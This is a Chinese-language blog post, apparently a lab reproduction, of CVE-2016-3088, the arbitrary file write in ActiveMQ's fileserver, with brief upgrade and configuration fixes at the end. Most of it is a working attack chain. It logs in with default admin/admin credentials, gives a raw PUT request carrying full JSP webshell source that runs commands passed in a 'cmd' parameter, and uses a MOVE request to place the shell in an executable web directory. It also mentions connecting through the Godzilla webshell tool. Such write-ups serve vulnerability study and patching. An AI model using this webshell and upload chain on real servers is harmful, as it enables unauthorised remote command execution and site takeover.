ActiveMQ任意文件写入(CVE-2016-3088)

漏洞描述:

ActiveMQ是一个消息队列应用服务器(推送服务器)。支持JMS规范。

ActiveMQ中存储文件的fileserver接口支持写入文件,但是没有执行权限。可以通过MOVE文件至其他可执行目录下,从而实现文件写入并访问。

ActiveMQ在5.12.x~5.13.x版本中,默认关闭了fileserver这个应用(但是可以在conf/jetty.xml中开启);在5.14.0版本以后,彻底删除了fileserver应用。

复现过程:

1.访问http://ip:port,出现如下页面,开始实验

2.获取文件上传路径,输入账号密码

​http://ip:port/admin/test/systemProperties.jsp

账号:admin

密码:admin

3.通过burp抓取http://ip:port页面的包,并修改get请求,通过put请求上传jsp马,文件不能以jsp命名,否则会上传失败

PUT /fileserver/fuck.txt HTTP/1.1

Host: ip:port

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Connection: close

Upgrade-Insecure-Requests: 1

If-Modified-Since: Fri, 13 Feb 2015 17:54:40 GMT

Cache-Control: max-age=0

Content-Length: 327

<%@ page import="java.io.*"%>

<%

 out.print("Hello</br>");

 String strcmd=request.getParameter("cmd");

 String line=null;

 Process p=Runtime.getRuntime().exec(strcmd);

 BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));

 while((line=br.readLine())!=null){

 out.print(line+"</br>");

 }

%>

4.访问http://ip:port/fileserver/1.jsp,文件写入但是没有被执行

5.利用MOVE,将木马文件移动到api或者admin,我这边是移动到了api目录下

MOVE /fileserver/fuck.txt HTTP/1.1

Destination: file:///opt/activemq/webapps/api/shell.jsp

6.访问移动的jsp文件,并执行id命令

http://ip:port/api/shell.jsp?cmd=id

7.哥斯拉生成jsp木马

8.上传jsp木马

9.移动jsp木马到admin目录下

10.因为上述的操作需要admin管理员的登录,所以我们需要在请求配置中加上认证头

11.哥斯拉添加配置

12.哥斯拉连接

借此漏洞攻击者获取到网站的shell权限,控制整个网站,可以进行文件读取和命令执行。

修复建议:

1.ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本。

2.通过移除 conf/jetty.xml 的以下配置来禁用 ActiveMQ Fileserver 功能。

  • 25
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值